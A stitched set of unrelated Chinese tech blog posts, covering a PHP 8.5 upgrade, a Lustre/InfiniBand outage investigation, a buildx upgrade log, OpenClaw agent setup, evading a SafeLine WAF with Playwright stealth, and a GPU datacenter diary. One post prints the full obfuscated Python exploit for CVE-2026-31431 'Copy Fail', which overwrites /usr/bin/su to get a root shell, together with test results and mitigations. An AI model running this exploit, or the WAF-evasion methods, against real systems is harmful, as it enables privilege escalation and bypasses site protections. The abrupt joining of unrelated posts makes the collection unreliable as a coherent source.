一直有人说 PHP 是世界上最好的语言——这次 7 成网站用行动（被迫）投了赞成票，然后 PHP 官方连夜发布了两个 CVSS 9.2 的 RCE 补丁。

于是我这个 Oracle Linux 7.9 的"钉子户"，也必须把去年 php 翻车的升级工程再战一次。

TL;DR：PHP 官方于 2026-10-21 发布紧急安全更新，修复两个 CVSS 9.2 的未授权 RCE 漏洞（代号 PHP2Shell），修复版本为 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12。由于 Oracle Linux 7.9 自带依赖库全面低于 PHP 8.5 门槛，本文记录在不动系统库的前提下，通过"独立目录源码编译 + PKG_CONFIG_PATH 引导"完成升级的全过程，以及 12 个踩坑点的规避方案。

sudo yum install -y centos-release-scl
sudo yum install -y devtoolset-11-gcc devtoolset-11-gcc-c++ devtoolset-11-binutils
scl enable devtoolset-11 bash
gcc --version   # 确认 11.2.1

echo "/usr/local/xxx/lib" | sudo tee /etc/ld.so.conf.d/xxx.conf
sudo ldconfig

cd /usr/local/src
wget https://www.php.net/distributions/php-8.5.12.tar.gz
sha256sum php-8.5.12.tar.gz
# 官方 .tar.bz2 SHA256: ffb60edc437ced63b5137e4984db379a8111c50049c711510d8b958277efc1a8
# 请以 https://www.php.net/releases/8_5_12.php 公布的 .gz 哈希为准
tar -xzf php-8.5.12.tar.gz
cd php-8.5.12

scl enable devtoolset-11 bash
gcc --version   # 确认 11.2.1+

export PKG_CONFIG_PATH=/usr/local/libzip-new/lib64/pkgconfig:/usr/local/openssl3/lib64/pkgconfig:/usr/local/libxml2-new/lib/pkgconfig:/usr/local/zlib-new/lib/pkgconfig:/usr/local/curl-new/lib/pkgconfig

export LDFLAGS="-Wl,-rpath,/usr/local/libzip-new/lib64 -Wl,-rpath,/usr/local/openssl3/lib64 -Wl,-rpath,/usr/local/libxml2-new/lib -Wl,-rpath,/usr/local/zlib-new/lib -Wl,-rpath,/usr/local/curl-new/lib -Wl,-rpath,/usr/local/libiconv/lib"

./configure \
  --prefix=/usr/local/php85 \
  --with-config-file-path=/usr/local/php85/etc \
  --with-config-file-scan-dir=/usr/local/php85/etc/php.d \
  --enable-fpm \
  --with-fpm-user=www \
  --with-fpm-group=www \
  --enable-cli \
  --with-openssl \
  --with-curl=/usr/local/curl-new \
  --with-zlib \
  --with-zlib-dir=/usr/local/zlib-new \
  --with-iconv=/usr/local/libiconv \
  --with-libzip=/usr/local/libzip-new \
  --with-mysqli=mysqlnd \
  --with-pdo-mysql=mysqlnd \
  --enable-mbstring \
  --enable-xml \
  --with-zip \
  --enable-bcmath \
  --enable-soap \
  --enable-sockets \
  --without-pdo-sqlite \
  --without-sqlite3

make -j$(nproc)
sudo make install

/usr/local/php85/bin/php -v
/usr/local/php85/bin/php -m | grep -E <span class="hljs-string">'iconv|curl|openssl|mbstring|xml|zip'</span>
ldd /usr/local/php85/bin/php | grep -E <span class="hljs-string">'ssl|curl|xml|z|zip'</span>

# 1. 停止旧 FPM
lnmp php-fpm stop

# 2. 备份旧 PHP 目录
mv /usr/local/php /usr/local/php-$(date +%Y%m%d)-bak

# 3. 创建软链接（LNMP 脚本通过此路径访问）
ln -s /usr/local/php85 /usr/local/php

# 4. 复制并编辑配置
cp /usr/local/php85/etc/php-fpm.conf.default /usr/local/php85/etc/php-fpm.conf
cp /usr/local/php85/etc/php-fpm.d/www.conf.default /usr/local/php85/etc/php-fpm.d/www.conf

listen = /tmp/php-cgi.sock
listen.owner = www
listen.group = www
listen.mode = 0660

# 5. 启动
lnmp php-fpm start
lnmp nginx reload

# 1. 版本必须 ≥ 8.5.12
/usr/local/php85/bin/php -v

# 2. 关键扩展加载正常
/usr/local/php85/bin/php -m | grep -E 'iconv|curl|openssl|mbstring|xml|zip'

# 3. 二进制动态链接指向新编译库
ldd /usr/local/php85/bin/php | grep -E 'ssl|curl|xml|z|zip'

# 4. Socket 属主为 www
ls -l /tmp/php-cgi.sock

# 5. FPM 进程监听正常
ps -ef | grep php-fpm

# 6. 访问 phpinfo() 页面（截图存档）

lnmp php-fpm stop
rm /usr/local/php
ln -s /usr/local/php-$(date +%Y%m%d)-bak /usr/local/php
lnmp php-fpm start
lnmp nginx reload

引子：一个 Input/output error 引发的三种猜想

故事的开始很普通。上午，有人反馈：某个容器里的 Python 脚本读文件直接抛IO异常，让查下 DDN（lustre)。

$ python -c "open('.../pytest-9.1.1.dist-info/entry_points.txt','rb').read(200)"
Traceback (most recent call last):
  File "<string>", line 1, in <module>
OSError: [Errno 5] Input/output error

同一个目录下的另一个文件，读起来却完全正常。

$ python -c "open('.../pytest-9.1.1.dist-info/top_level.txt','rb').read(200)"
# 正常返回

这种"一半好一半坏"的现象最容易带偏人。现场迅速形成了三种猜想：

1. 权限问题——uid/gid 对不上，容器里某个用户没权限；
2. 存储坏了——DDN 后端出问题，数据损坏；
3. 容器坏了——旧容器有 bug，重建就好。

后来证明：三个都不对。真正的答案是第 4 个——InfiniBand 网络在某几分钟里抖了一下，导致一系列后续故障。

第一现场：一台节点上的完整证据链

出问题的节点（下称 node-a）在 08:31 到 08:46 这个窗口内表现异常。我们先看整体结构。

证据一：OST 没有进入只读

排查的第一件事是确认存储后端本身的状态——因为"存储坏了"是最吓人的猜想。

$ lctl get_param obdfilter.*.readonly
obdfilter.lustrefs-OST0000.readonly=0
obdfilter.lustrefs-OST0001.readonly=0

readonly=0 意味着 OSS 数据层从未降级为只读。 Lustre 只有在后端文件系统检测到严重错误时才会切只读。它是 0，说明磁盘阵列和数据层是健康的。

证据二：服务器自己的 IB 网卡进了 recovery

这是整条证据链里最关键的一行。在内核日志里：

08:39:12  LNet: <span class="y">1 local NIs in recovery</span> (showing 1): 192.0.2.101@o2ib
08:39:50  LNet: kiblnd_check_conns() <span class="r">Timed out tx</span>
08:40:28  LNet: kiblnd_check_conns() Timed out tx  (Skipped 2 previous similar message)

注意 local NIs 这个词——local，指的是服务器自己。也就是说，存储服务器自身的 IB 网卡进了 recovery 状态。这不是客户端单方面的问题，是服务器端的 o2ib 链路发生了抖动或断开重连。

紧接着的 kiblnd_check_conns() Timed out tx 来自 o2iblnd（InfiniBand 的 LNet 驱动层），是传输层连接超时的直接证据。它和文件权限、uid/gid 没有任何关系。

证据三：客户端的 import 状态是 EVICTED

从服务器视角看完，再切到客户端视角。node-b 上一度能直接复现问题：

$ lfs check servers | grep -i OST000f
lfs check: error: check 'lustrefs-OST000f-osc-...': Cannot send after transport endpoint shutdown (108)

# 对照节点 node-c 上同一条命令
lustrefs-OST000f-osc-... active。

而真正把状态钉死的，是客户端 import 参数里的这一行：

$ lctl get_param osc.lustrefs-OST000f-osc-....import
import:
    name: lustrefs-OST000f-osc-...
    target: lustrefs-OST000f_UUID
    state: EVICTED          # ← 关键
    import_flags: [ invalid, replayable, pingable, connect_tried ]
    connection:
       nids_stats:
          "192.0.2.114@o2ib": { connects: 514, replied: 514, ... sec_ago: 73140 }
       current_connection: "192.0.2.114@o2ib"
       idle: 73140 sec

这里有三个信息量很大的细节：

• state: EVICTED——客户端被服务端驱逐，所有发往该 OST 的操作都会失败；
• import_flags 里有 invalid——连接已失效；
• replied: 514——最后那次连接是收到了应答的，应答内容就是"你被驱逐了"。说明那一刻网络还通，是服务端先动了手。

把时间线拼回来

单独看每行日志没什么感觉，按时间顺序排就一目了然了。

为什么"新容器没问题"反而帮了倒忙

现场最容易被当成结论的一句话是："我重建了个容器，读写就正常了，所以是旧容器的问题。"

这句话逻辑上没错，但它证明不了"旧容器本身有缺陷"。因为 Lustre 的驱逐是客户端实例级别的：

新建容器时，网络抖动窗口已经过去了，它自然一切正常。这只能说明问题窗口已经结束，不能说明旧容器有 bug。

另一台节点的独立佐证

同期 node-b 上也出现了同类现象，而且更"教科书"：先是 lock enqueue 失败，然后是脏页被丢弃。

Sep 20 18:26:54  LustreError: lustrefs-OST000f-osc-...: operation ost_write to node 192.0.2.114@o2ib <span class="r">failed: rc = -107</span>
Sep 20 18:26:54  LustreError: lustrefs-OST000f-osc-...: <span class="r">This client was evicted by lustrefs-OST000f</span>;
                 in progress operations using this service will fail.
Sep 20 18:26:55  LustreError: ldlm_resource_complain() ... refcount nonzero (1) after lock cleanup; forcing cleanup.

还有一条容易被忽视、但含义很重的日志：

<span class="r">dirty page discard</span>: ...: [0x200006ae1:0x1ff39:0x0]// <span class="y">may get corrupted</span> (rc -5)

dirty page discard 意味着客户端有尚未刷回存储的脏页被丢弃。这是真实的数据风险点——不是存储坏了，而是网络中断导致写缓存里的数据没能落盘。

收网：证据链的完整表述

把所有片段串成一条链：

同时要诚实标注一个未完全闭合的点：证据包里的 IB 端口计数器（link_downed、symbol_error、link_error_recovery）在采集时全是 0，hw_counters 也是空文件。lctl 日志中只有 drop_count: 5。

这意味着：物理链路本身没有经历 Link Down，抖动的成因更可能在固件/驱动交互层（呼应 08:31 的 mlx5 报错），而不是线缆或光模块。要彻底闭合，还需要看交换机端口计数器和同一 Fabric 上其他节点的同期表现——但就目前证据，方向已经明确。

经验小结

1. 先看错误码，再看错误信息。 EIO 和 EACCES 指向完全不同的层，一个字母的差别就是两个排查方向。
2. 区分"服务端健康"和"链路健康"。 readonly=0 只证明数据层没事，不证明客户端能连上。
3. "重建就好了"不是归因。 它只说明故障窗口结束了。要问的是：窗口内发生了什么。
4. 警惕被驱逐后的连锁反应。 锁失效、脏页丢弃（可能损坏）、资源未释放（refcount 异常），都发生在驱逐之后，是结果不是原因。
5. 取证要趁早。 计数器是累加的，但很多状态是易失的；本文的证据包能成型，靠的是在故障后尽快系统性采集。

附录：一键证据收集清单

排查这类问题最怕"知道要查什么，但当时没存下来"。以下是在客户端节点上一次值得跑完的采集项：

# 1) 客户端与存储的连接状态（最关键）
lctl get_param osc.*.import | grep -E "state|nids_stats|idle|replied"
lctl get_param mdc.*.import | grep -E "state|idle"
lfs check servers

# 2) 服务端数据层健康度
lctl get_param obdfilter.*.readonly
lctl get_param *.*.recovery_status

# 3) 内核日志中的 IB / LNet / 驱逐事件
journalctl -k --since "$START" --until "$END" --no-pager -o short-precise \
  | grep -iE "kiblnd|o2iblnd|LNet|evict|LustreError|mlx5"

# 4) IB 设备与端口状态
ibstat
for f in /sys/class/infiniband/*/ports/*/counters/*; do
  echo "$f: $(cat $f)"; done | grep -viE ": 0$"

# 5) 驱动版本（判断是否需要匹配固件）
modinfo mlx5_core | head -5
ibstat -s | grep -E "CA '|Firmware"

把这些输出连同时间窗口一起打包留档，下次再遇到"是不是存储坏了"的争论时，就不需要靠猜了。

—— 本文由某调试中的自建AI模型整理 ——

别人在景区看人海，我在家里蹲看内核 panic。
这个五一，我亲自验证了号称“Copy Fail”的 CVE-2026-31431。

漏洞背景：一颗 732 字节的“核弹”

放假前夕，科技媒体 CyberKendra 爆了个大瓜：Linux 内核又出高危漏洞了，编号 CVE-2026-31431，代号“Copy Fail”。亮点（或者说槽点）十足：

• 732 字节的 Python 脚本，短得像一首俳句。

• 通杀几乎所有主流发行版，提权到 root。

• 利用内核的 AF_ALG 加密接口和 splice 系统调用，绕过文件完整性检查，从普通用户一跃成为系统主人。

自打 centos7.9 退役后，平日工作 Ubuntu 接触最多，正好手边有几台实验服务器，趁着假期家里蹲，亲测一下到底灵不灵。

大名鼎鼎的漏洞利用脚本

这是 GitHub 上公开的 exploit 真身，（务必合法使用）：

https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py


#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")


核心逻辑就是跟内核的加密套接字套近乎，然后通过 splice 把 /usr/bin/su 的数据“拼接”到内核里，一顿操作猛如虎后，安静的弹出一个 root shell。

实测：几家欢喜几家愁

既然要玩，就得雨露均沾。我翻出手头的几台机器，用普通用户 normal 逐一测试，结果如下：

在 Ubuntu 22.04 上，几行输出后，终端光标就静静停在了 # 后面：

# id
uid=0(root) gid=1002(normal) groups=1002(normal)


是的，root 就这么到手了，廉价的让人有点恍惚。
看来攻击者最爱 Ubuntu 22.04 不是没道理的，环境“刚刚好”。

为什么有的系统不行？

• FileNotFoundError 是因为内核里没有注册 authencesn(hmac(sha256),cbc(aes)) 这个加密算法。标准内核一般只有 authenc(...)，这个 esn 变体需要额外模块或特定编译选项。平时用不上，反而成了天然屏障。

• AttributeError: ... 'splice' 是因为 Python 版本太老。os.splice 是 Python 3.10 才加入的，RHEL 8 系默认 Python 3.6，自然罢工。

也就是说，这个 exploit 同时要求 内核有特定算法 + Python ≥ 3.10，缺一不可。Ubuntu 22.04 恰好完美满足了所有条件，堪称“漏洞宠儿”。

修复与临时止血

如果你是管理员，看到这里估计已经在找紧急加固方案了。

1. 根治办法：更新内核
各大发行版应该已经推送了补丁，直接升级就好：

<span class="token function">sudo</span> <span class="token function">apt</span> update <span class="token operator">&amp;&amp;</span> <span class="token function">sudo</span> <span class="token function">apt</span> upgrade   <span class="token comment"># Debian/Ubuntu</span>

2. 紧急止血：禁用相关内核模块
如果暂时不能重启或更新，立即执行这两条命令，阻断利用路径：

<span class="token builtin class-name">echo</span> <span class="token string">"install algif_aead /bin/false"</span> <span class="token operator">&gt;</span> /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead <span class="token operator"><span class="token file-descriptor important">2</span>&gt;</span>/dev/null

这招相当于直接卸掉攻击者的“炮管”，再猛烈的 exploit 也只能干瞪眼。

后话：容器逃逸也在射程内

这个漏洞利用的是 page cache 内核全局共享 的特性，意味着它在容器里同样能生效 —— 从区区一个容器直接逃逸到宿主机 root。

今天放假，就不折腾容器环境了，留给上班后再试。

总结一句话：CVE-2026-31431 门槛极低、效果炸裂，但只要系统不是“刚刚好”的环境，它就嚣张不起来。赶紧看看你的 22.04，没打补丁的话，这假期可过不安稳。

几年前折腾过 多架构构建的 buildx 一直用着很顺畅，这2天构建镜像，总是遇到这个 error: no active session for ***: context deadline exceeded报错

查了下，可能和 buildx 版本有关，希望升级能解决。

升级步骤

当然是 直接更新 buildx 的最新版本, https://github.com/docker/buildx/releases

# 下载并更新
wget -c https://github.com/docker/buildx/releases/download/v0.31.1/buildx-v0.31.1.linux-amd64 -O /root/buildx031
chmod +x /root/buildx031
 cp /root/buildx031 /usr/libexec/docker/cli-plugins/docker-buildx
cp: overwrite ‘/usr/libexec/docker/cli-plugins/docker-buildx’? yes

#  检查下版本
docker buildx version
github.com/docker/buildx v0.31.1 a2675950d46b2cb171b23c2015ca44fb88607531
# 完整路径检查
 /usr/libexec/docker/cli-plugins/docker-buildx version
github.com/docker/buildx v0.31.1 a2675950d46b2cb171b23c2015ca44fb88607531

更新后，继续构建，遇到 api 兼容报错

docker buildx build --platform linux/amd64,linux/arm64 -t cnrock/moltbot:v1 . --push 2>&1 |tee /tmp/bot.log ERROR: failed to build: Error response from daemon: client version 1.52 is too new. Maximum supported API version is 1.43: driver not connecting

意思就是

buildx v0.31.1 使用了API 1.52，而我当前环境的Docker 24.0.6支持的最高API版本是1.43

按提示更新 docker 呗。

yum update 遇到报错了，原因是 vps是甲骨文的，系统是 20年6月的 Oracle Linux Server 7.9

7.9 停更很久了，无法直接更新，提示yum-tokyo... 这里 repo  404

发现这里是一个地区变量，sed 全部替换掉

sudo sed -i 's/\$ociregion//g' /etc/yum.repos.d/*.repo

再 yum makecache 即可

升级命令

yum update docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin

升级前后版本对比

Resolving Dependencies
--> Running transaction check
---> Package containerd.io.x86_64 0:1.6.24-3.1.el7 will be updated
---> Package containerd.io.x86_64 0:1.6.33-3.1.el7 will be an update
---> Package docker-buildx-plugin.x86_64 0:0.11.2-1.el7 will be updated
---> Package docker-buildx-plugin.x86_64 0:0.14.1-1.el7 will be an update
---> Package docker-ce.x86_64 3:24.0.6-1.el7 will be updated
---> Package docker-ce.x86_64 3:26.1.4-1.el7 will be an update
---> Package docker-ce-cli.x86_64 1:24.0.6-1.el7 will be updated
---> Package docker-ce-cli.x86_64 1:26.1.4-1.el7 will be an update
---> Package docker-compose-plugin.x86_64 0:2.21.0-1.el7 will be updated
---> Package docker-compose-plugin.x86_64 0:2.27.1-1.el7 will be an update
--> Finished Dependency Resolution

但这样升级会把 buildx 回退，这2个逻辑有点神奇

docker buildx version

github.com/docker/buildx v0.14.1 59582a8

/usr/libexec/docker/cli-plugins/docker-buildx version
github.com/docker/buildx v0.14.1 59582a8

需要再次更新下

# 下载并更新
wget -c https://github.com/docker/buildx/releases/download/v0.31.1/buildx-v0.31.1.linux-amd64 -O /root/buildx031
chmod +x /root/buildx031
 cp /root/buildx031 /usr/libexec/docker/cli-plugins/docker-buildx
cp: overwrite ‘/usr/libexec/docker/cli-plugins/docker-buildx’? yes

#  检查下版本
docker buildx version
github.com/docker/buildx v0.31.1 a2675950d46b2cb171b23c2015ca44fb88607531
# 完整路径检查
 /usr/libexec/docker/cli-plugins/docker-buildx version
github.com/docker/buildx v0.31.1 a2675950d46b2cb171b23c2015ca44fb88607531

尾声

构建镜像 还是遇到这个报错，无解了？

ERROR: failed to build: failed to solve: DeadlineExceeded: failed to push cnrock/openclaw:v1: no active session for x8821klxrbc7g2j3s94ryho4o: context deadline exceeded

清理下缓存看看

docker builder prune -af && docker buildx prune -af

ID						RECLAIMABLE	SIZE		LAST ACCESSED
gedc44uv09brh7k1b5ihcdv7a*              	true 		146.4MB
fyfv6pxd2nu9a7a3rpwbct2je               	true 	0B        	1 second ago
opkb996ch7wdzq5ri28aea96h               	true 	88.16MB   	5 seconds ago
zm924nzc6kf6m6dr2l6t04p1t               	true 	68.4MB    	5 seconds ago
n1mq6swjl2yieubbye1e1dyjg               	true 	0B        	Less than a second ago
wjq8a2e7003ixvqulmwj7w8a5               	true 	3.144kB   	Less than a second ago
wibxmwpekzhzdgf59ltjl7djp               	true 	2.477GB   	59 seconds ago
s2r9rasg75rai76vq1yr57p0h               	true 	107.3MB   	6 seconds ago
8rbg7n8bi8djgd7v4zu274du8               	true 	746.5MB   	23 seconds ago
c84xzuc4cedx9s3wnxuh4ct57               	true 	0B        	Less than a second ago
qbydufcgecvlvff383ptec4ib               	true 	0B        	4 seconds ago
Total:	3.634GB
ID						RECLAIMABLE	SIZE		LAST ACCESSED
ginvvjcmeqo9d1ywai7uniy57               	true 		17.03MB   	8 minutes ago
bfi3nue5fcy98bllqfpjhrnf5*              	true 	4.096kB   	8 minutes ago
xvczyifbxfyt93g3e8wn0hpra               	true 	43.38MB   	8 minutes ago
y8or8ryz0k0hlbzsqtygsz31f               	true 	2.178GB   	8 minutes ago
frhx3okb3yt3a1cx15rh8doij               	true 	522.1kB   	8 minutes ago
jkotdgurx7vjieksh6i8cuedo               	true 	151B      	45 minutes ago
jjntlo74l3ytwnjkfbv469419               	true 	4.511kB   	45 minutes ago
d5h9j2mstr65h10xp6yjg2nzw               	true 	532.6kB   	45 minutes ago
jt54eop4mla5fwsu8cpomzwcx               	true 	32B       	45 minutes ago
ccbgzfwlhfk7effg93tm0hacu               	true 	93B       	45 minutes ago
nsbm1mp4pscqk3c5csmz4fjar               	true 	196.7kB   	45 minutes ago
belnpn9x5hragi7njjzru42dd               	true 	4.288kB   	45 minutes ago
xg5gvoflxc5a051ntlgmiz1rk               	true 	141.8MB   	45 minutes ago
bp1o42065rtiaptvajozssqtq               	true 	4.542kB   	45 minutes ago
bd0z536inzhhoa6brnlzq8907               	true 	6.625MB   	About an hour ago
pyz1arj7tuijmm4hogezi7uqz               	true 	269.1MB   	About an hour ago
037cgb6u7x0mq7dkrixlkv0i2               	true 	60.67kB   	About an hour ago
5o3epn1zatu8gak8ca3v3nuz6               	true 	825.9MB   	About an hour ago
lktznd2lmas9mj45sqt1ibfja               	true 	255.7MB   	About an hour ago
w89z0erggtkwthk4q4082m0hj               	true 	75.09MB   	About an hour ago
rbb6wjhfco7eueu0l4g9tw8wp               	true 	179MB     	About an hour ago
Total:	3.993GB

无解中，放弃buildx 多架构构建了，暂时单独找了amd和arm vps节点真实环境构建后合并。

有空再继续。

折腾过程

ERROR: listing workers: failed to list workers: Unavailable: connection error:
desc = "error reading server preface: http2: frame too large"

# 重启 Docker 服务
sudo systemctl restart docker

# 删除现有 Buildx 构建器
docker buildx rm mybuilder 2>/dev/null || true

# 创建新的构建器
docker buildx create --use --name multiarch-builder

# 重新运行构建
docker buildx build --progress=plain --platform linux/amd64,linux/arm64 -f Dockerfile -t cnrock/openclaw:v1 . --push

第2个报错 JavaScript Heap Out of Memory

#21 370.0 FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
370.3  3: 0x1216eb7 v8::internal::V8::FatalProcessOutOfMemory(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [node]
ERROR: failed to solve: process "/bin/sh -c OPENCLAW_A2UI_SKIP_MISSING=1 pnpm build" did not complete successfully: exit code: 134

# 设置 Node.js 内存限制
ENV NODE_OPTIONS="--max-old-space-size=4096"

第3个报错  no active session

no active session

找到了这个 issue https://github.com/docker/buildx/issues/456

引出了另一篇 ，buildx 升级，待后续有空写，暂时放弃buildx 多架构，直接本地docker 构建通过了

ERROR: failed to solve: DeadlineExceeded: failed to push cnrock/moltbot:v1-amd64: no active session for 2n6drhn4mikq0mn14h621ypw7: context deadline exceeded

```
Please read: https://docs.clawd.bot/security
Clawdbot agents can run commands, read/write files...
I understand this is powerful and inherently risky. Continue?
```

```
◆ Model/auth provider
│ ● OpenAI (Codex OAuth + API key)
│ ○ Anthropic
│ ○ MiniMax
│ ○ Qwen
│ ○ Moonshot AI
│ ...（还有十几个选项）
```

```bash
clawdbot configure --section gateway
# 选择 LAN (All interfaces)
clawdbot gateway restart
```

```
disconnected (1008): control ui requires HTTPS or localhost (secure context)
```

◆ Model/auth provider
│ ○ OpenAI (Codex OAuth + API key)
│ ○ Anthropic
│ ○ MiniMax
│ ● Qwen (OAuth)
│ ○ Moonshot AI

会让你在线激活

│  Open https://chat.qwen.ai/authorize?user_code=QL8QXQYK&client=qwen-code to approve  │
│  access.                                                                             │
│  If prompted, enter the code QL8QXQYK.

顺便解决

试玩

Webui 截图

访问看看，如果不带token ，会提示未授权。

bot在自动干活中

openclaw security audit

🦞 OpenClaw 2026.1.30 (76b5208) — Your terminal just grew claws—type something and let the bot pinch the busywork.

OpenClaw security audit
Summary: 1 critical · 2 warn · 1 info
Run deeper: openclaw security audit --deep

CRITICAL
models.small_params Small models require sandboxing and web tools disabled
  Small models (<=300B params) detected:
- public/deepseek-r1-distill-qwen-32b (32B) @ agents.defaults.model.fallbacks (unsafe; sandbox=off; web=[web_fetch, browser])
Uncontrolled input tools allowed: web_fetch, browser.
Small models are not recommended for untrusted inputs.
  Fix: If you must use small models, enable sandboxing for all sessions (agents.defaults.sandbox.mode="all") and disable web_search/web_fetch/browser (tools.deny=["group:web","browser"]).

WARN
gateway.trusted_proxies_missing Reverse proxy headers are not trusted
  gateway.bind is loopback and gateway.trustedProxies is empty. If you expose the Control UI through a reverse proxy, configure trusted proxies so local-client checks cannot be spoofed.
  Fix: Set gateway.trustedProxies to your proxy IPs or keep the Control UI local-only.
fs.credentials_dir.perms_readable Credentials dir is readable by others
  /root/.openclaw/credentials mode=755; credentials and allowlists can be sensitive.
  Fix: chmod 700 /root/.openclaw/credentials

INFO
summary.attack_surface Attack surface summary
  groups: open=0, allowlist=0
tools.elevated: enabled
hooks: disabled
browser control: enabled

某个文档包下载站由于规避 pcdn 用户刷流量原因 上了 waf  防护, 以前能直接下载的文件现在  会报错 error 468 no description。

正确的解法有2种，1是申请白名单，2是浏览器真实访问下载。作为长期习惯下载命令下载文件的我，肯定不太习惯，于是在 AI 的帮助下，有了这篇使用 playwright 工具来对抗 waf 的文档，这里 记录一下。

步骤

先侦查

第一回合，传统方式

改 uA 、上cookies、带  referrer，都无情的被拦截了，于是一点要先搞清 468 报错后面有啥，才能知己知彼, 一番折腾后，查看强行下载的 tar 包文件，发现了这段文字。

"name":"雷池","name_en":"SafeLine","product":"长亭","community":"社区版","link":"https://waf-ce.chaitin.cn/","link_en":"https://waf.chaitin.com/","self":true}
。。。
{en:"Security Detection Powered By",zh:"安全检测能力由"},suffix:{en:"",zh:"驱动"},name:{en:window.product_data?.name_en+" WAF",zh:window.product_data?.name+" WAF"},link:{en:window.product_data?.link_en,zh:window.product_data?.link},decrypting:{en:"Dynamic Decrypting",zh:"网页被保护，正在解密中"},failed:{en:"Decryption Failed",zh:"解密失败"},blocking:{en:"Access Forbidden",zh:"访问已被拦截"},"attack-desc":{en:"Blocked For Attack Detected",zh:"请求存在恶意行为，已被管理员拦截"},
。。。


下载页面确实被 长亭 雷池 waf.chaitin.com社区版保护了。

研究对策

几轮测试 拿到了这张图片，和前面雷池文字相似，说明有一个悄悄的验证。

第二回合：AI 出场

我边搜资料边问 ai 解法，ai给出了 playwright 这个工具。

AI 给的逻辑是使用  Playwright，加上会“演戏”的浏览器chrome ，配合 Xvfb 虚拟 1920×1080 大屏，24 位真彩，显卡号全配齐。

这样来测试下载。

第三回合：伪装学大师

AI 提示下 陆续安装了这些工具

pip install playwright playwright-stealth
playwright install-deps
playwright install chromium
apt-get install -y xvfb libgbm-dev

核心就一句：让浏览器以为自己在“真·有头”模式，实则后台跑在内存里下载。

配合：human_move()，手抖、加速、减速，轨迹，堪比期末考试划重点。
点击方式：9 点矩阵地毯式轰炸，保证“雷池”小按钮无处遁形。

通关

总结，依旧是按照地址列表，走命令行方式完成下载，此处截图一张纪念。

可能问题

当然是 之后 waf 拦截方式升级，上验证码或算法之类，我这套办法就要废弃或继续改造了。因此，先低调的用吧。

入行这么多年，一直混迹在网络管理或 最近数年K8S 私有化部署的软件层面。这两年虽然也开始折腾大模型，跟英伟达、沐曦、壁仞、燧原、天数（及其各类马甲）GPU 打交道，但主要集中在k8s 、驱动和模型适配的“软”层面上。

没成想，2025年底的最后一个多月，生活给了我一个大惊喜。我不小心一脚跨进了 GPU 硬件基础设施的深水区。正如标题所言，这是一场关于“AI 基础设施体验”的深度体验。

*(注：为了保住饭碗，具体客户和项目名已隐去，以下内容纯属硬核技术流水账)*

第一幕：销售嘴里“半天”的活儿

故事的开始总是极其草率。

某个周四晚上，大概8点半，回家的地铁上，领导电话来了：“郊区机房有批 GPU 集群，你过去支持下性能测试就行，半天，顶多一天。”

我看着手机屏幕，心想：*真的是去机房跑个脚本的事吗？* 领导也表示怀疑，说去现场看了就知道了。

随后发来一张截图，上面列着几个生僻的测试名称和几个模糊不清的压测指标——这就是我当时的全部情报。当晚，我硬是靠着搜索引擎，把这些工具一个个下载下来，折腾到凌晨12点多，才勉强把测试环境包装进U盘。

第二天，揣着那个存满“弹药”的U盘，我满怀信心地杀向机房所在地。

到了现场，发现我前一晚准备的U盘工具白费了，这里基本都有。跟驻场工程师和项目经理一聊，冷汗就下来了。还卡在dhcp 装机 这个阶段摸索中，甚至连装机后的 ip地址都不敢固定，结果后面一堆冲突，测试基本是在u盘系统下搞的，这哪是性能测试啊，这分明是从零开始搞基建！

那一刻，我深刻领悟了一个真理：销售的嘴，骗人的鬼。

中午我意识到事情的严重，我厚着脸皮电话把领导请过来支援，第一天，我们直接干到凌晨3点。接下来的周末简直就是噩梦：3天睡了16小时，凌晨的机房边上的小黑屋成了第二个家。周日中午，销售和高层终于拉了个会议，把事情的全貌托盘而出——虽然晚了点，但好歹后方支援团队终于进来了。

接下来的十几天，凌晨1-3点下班是常态，甚至后面客户叫停了几天让我们短暂回血后，又是无休止的现场奋战。

第三幕：我在机房干了啥？（AI 也没我想的那么聪明）

这一个多月，我到底在搞什么？看着这张充满错误的 AI 生成示意图（凑合看吧），我把这数百台设备（月底远程支持超数千台）的坑坑洼洼大概梳理了一下。

这张图是ai 画的，有不少错误，仅供参考。

1. 物理装机与“灵魂”初始化

首先是纯体力与脑力的结合。配合完成全部 GPU 服务器的上架、理线、上下电。（其实这部分是服务器厂商和机房运维等工程师干的，这样写，显得自己也吃了体力上的苦）
针对某2款高端卡 H 卡和 B 卡两种机型，因为规格不同，我们对每批机器进行差异化 BIOS 配置、网卡模式切换、启动顺序调整。
后来为了不被累死，眼睛不瞎，我写了几个脚本来采集 BMC 地址和业务网卡 MAC 地址还有其他信息。那一刻，效率提升不说，还没了人工手抄的差错，我觉得我终于开始有些收获了。

2. 网络“迷宫”搭建与玄学排查

接下来是 IB（InfiniBand）网卡和第二业务网的静态 IP 配置。
这块最折腾，特别是那几十台 B 卡机器，IB 卡地址配置后各种报错down。

• 互换排除法：排查掉卡或 IB 卡不通，很多时候是光纤模块或线的问题。这时候就得像换灯泡一样，在机房里把模块或线拔来拔去，通过互换定位故障点。
• 重启大法失灵：软件层面上故障，我们没招后一般会重启解决，ib 卡这边不吃这一套，越重启，掉的卡越多。然后又陷入回机房检查模块和线路的循环。
